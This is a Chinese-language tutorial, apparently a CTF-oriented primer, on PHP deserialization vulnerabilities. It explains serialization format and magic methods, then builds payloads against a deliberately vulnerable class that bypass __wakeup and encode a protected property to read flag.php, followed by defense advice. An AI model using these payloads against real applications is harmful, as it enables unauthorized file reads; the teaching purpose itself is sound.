php反序列化漏洞入门
字数 1211 2025-08-15 21:32:54

PHP反序列化漏洞入门教学文档

一、序列化与反序列化基础

1. 序列化概念

序列化是将变量转换为可保存或传输的字符串的过程。在PHP中,使用serialize()方法实现将类进行序列化。

2. 反序列化概念

反序列化是将序列化后的字符串还原为原始对象的过程,使用unserialize()函数实现。

3. 基本示例

class LessSafe {
    public $name = 'LessSafe';
    public $age = 2;
    
    function getname() {
        echo $this->name;
    }
}

$s = new LessSafe();
$s_serialize = serialize($s);
print_r($s_serialize);

序列化结果

O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}

格式解析

  • O:8:"LessSafe":对象(Object),类名长度8,类名为"LessSafe"
  • :2::对象有2个属性
  • {s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}:属性详情
    • s:4:"name":字符串类型,长度4,属性名为"name"
    • s:8:"LessSafe":字符串类型,长度8,值为"LessSafe"
    • s:3:"age":字符串类型,长度3,属性名为"age"
    • i:2:整型,值为2

二、魔法函数(Magic Methods)

1. 常用魔法函数

  • __construct():对象创建时调用
  • __destruct():对象销毁时调用
  • __toString():对象被当作字符串使用时调用
  • __sleep():对象序列化时调用
  • __wakeup():对象反序列化时调用

2. 魔法函数示例

class TestClass {
    public $variable = 'This is a string';
    
    public function __construct() {
        echo '__construct<br />';
    }
    
    public function __destruct() {
        echo '__destruct<br />';
    }
    
    public function __toString() {
        return '__toString<br />';
    }
}

$object = new TestClass(); // 触发__construct
echo $object; // 触发__toString
// 脚本结束时触发__destruct

3. __sleep() 示例

class LessSafe {
    public $name = 'LessSafe';
    
    function __sleep() {
        echo "When using serialize, __sleep() will be called";
    }
}

$s = new LessSafe();
serialize($s); // 触发__sleep

4. __wakeup() 示例

class LessSafe {
    public $name = 'LessSafe';
    
    function __wakeup() {
        echo "When using unserialize, __wakeup() will be called";
    }
}

unserialize($_GET['id']); // 触发__wakeup

三、反序列化漏洞原理

1. 漏洞产生条件

  • 应用接收用户可控的反序列化数据
  • 类中定义了危险的魔法函数(如__destruct()__wakeup()等)
  • 类属性可控,可能影响程序逻辑

2. 典型CTF示例

class LessSafe {
    protected $file = 'index.php';
    
    function __destruct() {
        if(!empty($this->file)) {
            show_source($this->file);
        }
    }
    
    function __wakeup() {
        $this->file = 'index.php';
    }
}

if(!isset($_GET['file'])) {
    show_source('index.php');
} else {
    unserialize($_GET['file']);
}
// flag in flag.php

3. 漏洞利用步骤

(1) 正常Payload尝试

O:8:"LessSafe":1:{s:4:"file";s:8:"flag.php";}

问题:会被__wakeup()重置为index.php

(2) 绕过__wakeup()

PHP反序列化时,如果对象属性个数大于实际个数,会跳过__wakeup()调用:

O:8:"LessSafe":2:{s:4:"file";s:8:"flag.php";}

(3) 绕过protected属性

protected属性在序列化时格式为\00*\00属性名(\00是空字符的二进制表示):

O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}
  • S表示序列化二进制表示方法
  • \00*\00file表示protected属性$file

(4) 最终Payload

http://example.com/ctf/index.php?file=O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}

四、防御措施

  1. 不要反序列化不可信的用户输入
  2. 使用json_encode()json_decode()替代序列化/反序列化
  3. 对反序列化操作进行严格的输入验证
  4. 使用PHP 7的allowed_classes选项限制可反序列化的类
    unserialize($data, ['allowed_classes' => ['SafeClass']]);
    

五、总结

PHP反序列化漏洞的核心在于:

  1. 理解序列化/反序列化机制
  2. 掌握魔法函数的触发时机
  3. 了解属性控制与程序逻辑的关系
  4. 掌握绕过__wakeup()和protected属性的技巧

通过控制反序列化过程中的对象属性,可以影响程序执行流程,最终可能导致任意文件读取、代码执行等安全风险。

PHP反序列化漏洞入门教学文档 一、序列化与反序列化基础 1. 序列化概念 序列化是将变量转换为可保存或传输的字符串的过程。在PHP中,使用 serialize() 方法实现将类进行序列化。 2. 反序列化概念 反序列化是将序列化后的字符串还原为原始对象的过程,使用 unserialize() 函数实现。 3. 基本示例 序列化结果 : 格式解析 : O:8:"LessSafe" :对象(Object),类名长度8,类名为"LessSafe" :2: :对象有2个属性 {s:4:"name";s:8:"LessSafe";s:3:"age";i:2;} :属性详情 s:4:"name" :字符串类型,长度4,属性名为"name" s:8:"LessSafe" :字符串类型,长度8,值为"LessSafe" s:3:"age" :字符串类型,长度3,属性名为"age" i:2 :整型,值为2 二、魔法函数(Magic Methods) 1. 常用魔法函数 __construct() :对象创建时调用 __destruct() :对象销毁时调用 __toString() :对象被当作字符串使用时调用 __sleep() :对象序列化时调用 __wakeup() :对象反序列化时调用 2. 魔法函数示例 3. __sleep() 示例 4. __wakeup() 示例 三、反序列化漏洞原理 1. 漏洞产生条件 应用接收用户可控的反序列化数据 类中定义了危险的魔法函数(如 __destruct() 、 __wakeup() 等) 类属性可控,可能影响程序逻辑 2. 典型CTF示例 3. 漏洞利用步骤 (1) 正常Payload尝试 问题 :会被 __wakeup() 重置为index.php (2) 绕过 __wakeup() PHP反序列化时,如果对象属性个数大于实际个数,会跳过 __wakeup() 调用: (3) 绕过protected属性 protected属性在序列化时格式为 \00*\00属性名 (\00是空字符的二进制表示): S 表示序列化二进制表示方法 \00*\00file 表示protected属性$file (4) 最终Payload 四、防御措施 不要反序列化不可信的用户输入 使用 json_encode() 和 json_decode() 替代序列化/反序列化 对反序列化操作进行严格的输入验证 使用PHP 7的 allowed_classes 选项限制可反序列化的类 五、总结 PHP反序列化漏洞的核心在于: 理解序列化/反序列化机制 掌握魔法函数的触发时机 了解属性控制与程序逻辑的关系 掌握绕过 __wakeup() 和protected属性的技巧 通过控制反序列化过程中的对象属性,可以影响程序执行流程,最终可能导致任意文件读取、代码执行等安全风险。